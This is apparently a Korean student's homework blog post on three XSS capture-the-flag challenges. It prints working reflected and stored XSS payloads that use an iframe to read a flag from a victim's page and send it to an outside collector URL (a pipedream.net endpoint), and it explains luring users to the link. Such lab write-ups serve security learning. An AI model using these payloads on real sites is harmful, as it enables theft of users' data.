3달차 3주차 과제는 다음 4가지와 같다.
- 수업 내용 정리
- Basic Script Prac, Steal Info, Steal Info2 문제 풀기
- 문제풀이 블로그 정리
- 웹 개발
1번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 2번 과제부터 정리하였다.
1. XSS - iframe : CTF문제 풀기
[Basic Script Prac]
| 주어진 문제는 다음과 같다. |
|---|
 |
| (1) 로그인 > 마이페이지에 들어가면 FLAG 가 있는 부분을 확인할 수 있다. |
|---|
 |
| (2) user 파라미터를 통해 전달되는 값이 서버의 응답에 포함되고 있다. |
|---|
 |
| (3) 스크립트를 삽입하여 서버에 응답 및 스크립트가 실행되는 것을 확인한다. |
|---|
 |
 |
| ○ user : test"/><script>alert(1)</script><input+type="hidden |
| (4) Flag Here 태그 값 추출 |
|---|
 |
| ○ Flag Here 값은 name 속성을 info로 갖는 input 태그의 placeholder 값이다. |
 |
| ○ 개발자 도구의 console에서 먼저 dom 객체를 사용하여 해당 데이터가 추출되는 것을 확인한다. |
| ● 이 추출한 데이터를 공격자 페이지로 전송하기만 하면 된다. |
| (5) 공격자 페이지 전달 스크립트 작성 |
|---|
 |
삽입한 스크립트는 다음과 같다.
<script>
var data = getElementsByName('info')[0].placeholder;
var i = new Image();
i.src="공격자페이지?data="+data;
</script>
| (6) 실행 결과 |
|---|
 |
| ○ placeholder의 값을 불러올 수 없다는 오류가 발생하였다. |
| (7) 오류 원인 분석 |
|---|
| 먼저 작성한 스크립트가 삽입된 후, 전체 스크립트의 순서를 살펴보아야 한다. |
 |
| ○ 작성한 스크립트가 실행되는 시점은, 추출하고 싶은 placeholder 값을 갖는 input 태그가 생성되기 이전이다. |
| ● 즉, 스크립트가 실행되는 시점에 존재하지 않는 placeholder 값을 추출하려하므로 오류가 발생한 것이다. |
| ○ 따라서 페이지가 완전히 로드된 후, 스크립트가 실행되도록 해주어야 한다. |
| (8) 스크립트 재작성 |
|---|
 |
작성된 스크립트는 다음과 같다.
<script>window.addEventListener('load', function() {
var data = document.getElementsByName('info')[0].placeholder;
var i = new Image();
i.src="https://enc4fk9f4nsx8.x.pipedream.net?data="+data;});
</script>
페이지가 완전히 로드된 후, 스크립트가 실행되도록 작성해주었다.
| (9) 실행 결과 |
|---|
 |
| ○ 공격자 페이지로 원하는 값이 정상적으로 전달되었다. |
| ● 이제 원하는 사용자가 해당 스크립트가 작성된 링크를 방문하도록 만들면 된다. |
| (10) 타 이용자가 해당 링크 방문 |
|---|
 |
 |
| ○ 해당 링크를 방문하는 이용자의 정보가 공격자 페이지로 전달 |
[Steal Info]
| 주어진 문제는 다음과 같다. |
|---|
 |
| (1) XSS 취약점 확인 |
|---|
| 공지사항 > 글쓰기 > 내용에 스크립트 삽입 |
 |
| 게시글 응답값에 작성한 스크립트 삽입 및 실행 확인 |
 |
 |
| (2) 대상 페이지에서 탈취할 데이터의 DOM 객체값 확인 |
|---|
 |
| ○ class 속성이 card-text인 p태그의 inner 값 |
 |
| ○ 데이터 정상 추출 확인 |
| (3) XSS 취약점을 통해 대상 페이지 정보 탈취 스크립트 작성 |
|---|
 |
작성된 스크립트는 다음과 같다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<script>
var ttarget = document.getElementById('target');
ttarget.addEventListener('load', () => {
var domdata = ttarget.contentDocument;
var data = domdata.getElementsByClassName('card-text')[1].innerHTML;
var i = new Image();
i.src="공격자 페이지?data="+data;
});
</script>
| (4) 실행결과 |
|---|
 |
| ● 공격자 페이지로 데이터 정상 전송 |
| (5) 대상에게 해당 게시글 링크 전달 |
|---|
 |
| (6) 이용자 방문 결과 |
|---|
 |
| ○ 해당 게시글을 방문하는 이용자의 정보가 공격자 페이지로 전달 |
[Steal Info2]
| 주어진 문제는 다음과 같다. |
|---|
 |
| (1) XSS 취약점 확인 |
|---|
| 공지사항 > 글쓰기 > 내용에 스크립트 삽입 |
 |
| 게시글 응답값에 작성한 스크립트 삽입 및 실행 확인 |
 |
 |
| (2) 대상 페이지에서 탈취할 데이터의 DOM 객체값 확인 |
|---|
 |
| ○ id 속성이 userInfo인 input 태그의 placeholder 값 |
 |
| ○ 데이터 정상 추출 확인 |
| (3) XSS 취약점을 통해 대상 페이지 정보 탈취 스크립트 작성 |
|---|
 |
작성된 스크립트는 다음과 같다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=ttest" id="target"></iframe>
<script>
var ttarget = document.getElementById('target');
ttarget.addEventListener('load', () => {
var domdata = ttarget.contentWindow;
var data = domdata.document.getElementById('userInfo').placeholder;
var i = new Image();
i.src="https://enc4fk9f4nsx8.x.pipedream.net?data="+data;
});
</script>
| (4) 실행 결과 |
|---|
 |
| ● 공격자 페이지로 데이터 정상 전송 |
| (5) 대상에게 해당 게시글 링크 전달 |
|---|
 |
| (6) 이용자 방문 결과 |
|---|
 |
| ○ 해당 게시글을 방문하는 이용자의 정보가 공격자 페이지로 전달 |
이렇게 두번째 과제인 'CTF 문제 풀기' 과제가 완료되었다.